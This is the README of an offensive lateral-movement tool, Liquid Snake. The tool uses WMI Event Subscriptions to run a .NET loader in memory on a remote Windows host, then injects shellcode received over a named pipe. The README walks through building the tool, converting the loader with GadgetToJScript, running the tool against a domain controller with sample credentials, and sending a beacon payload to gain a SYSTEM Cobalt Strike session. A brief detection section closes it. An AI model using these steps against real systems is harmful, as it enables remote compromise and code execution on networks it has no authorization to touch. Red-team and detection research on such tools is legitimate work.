riccardoancarani/liquidsnakeFileless lateral movement tool using WMI Event Subscriptions to execute .NET assemblies in memory, with shellcode injection via named pipes for remote Windows compromise.
Liquid Snake is a program aimed at performing lateral movement against Windows systems without touching the disk. The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the .NET assembly will listen for a shellcode on a named pipe and then execute it using a variation of the thread hijacking shellcode injection.
The diagram below (hopefully) clarifies the flow of data:
The project is composed by two separate solutions:
CSharpNamedPipeLoader - the component that will be transformed in VBS via GadgetToJScriptLiquidSnake - the component responsible to creating the WMI Event Subscription on the remote systemSimply open both solutions in Visual Studio and build them. Make sure to target x64 architecture for the CSharpNamedPipeLoader. If everything went fine, you should have two separate EXEs: CSharpNamedPipeLoader.exe and LiquidSnake.exe
Using GadgetToJscript, convert the CSharpNamedPipeLoader.exe to VBS using the following command:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
Test the .NET deserialisation using cscript.exe and ensure that everything works as expected:
cscript.exe test.vbs
Then, base64 encode the vbs file and stick it in the LiquidSnake's Program.cs vbscript64 variable at line 29.
I already made this for you so you can just compile the LiquidSnake solution and use it as it is.
Usage of this project is straightforward, use LiquidSnake.exe agains a host where you have administrative access over as follows:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
NOTE: Currently thers is a bug when you explicitly set user credentials, the tool will not work in that case. It is recommended to use make_token or any other impersonation mechanism instead.
If everything went fine, you should obtain an output similar as the following:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
The example above uses CobaltStrike's execute-assembly to launch LiquidSnake:
Meanwhile, in the remote host a new named pipe will be created with the following name:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7
Then, using my send_shellcode_via_pipe project from my BOFs you can send an arbitrary shellcode on the remote pipe that will be loaded and executed:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin
If everything worked as expected, you should obtain a SYSTEM beacon:
NOTE: The current LiquidSnake version contains artefact generated by GadgetToJScript that targets .NET version 4.x. If your target host has only 3.5 installed, this will fail. Simply repeat the same process but using the appropriate .NET version when building GadgetToJScript.
There are many detection opportunities to identify the abuse of this tool and in general the use of this technique:
clr.dll related to the scrcons.exe processscrcons.exe processAdditionally, the biggest drawback of the specific implementation is that the shellcode is sent in cleartext over SMB. Meaning that if a network monitor solution is able to inspect that traffic, it is likely that it will stand out. I haven't done much testing against zeek/bro ruleset but I am pretty confident that it will be picked up immediately.
In the detection-artefacts folder I left the PCAP file of a Wireshark capture and the Sysmon events generated during the attack (using Swift On Security's default config).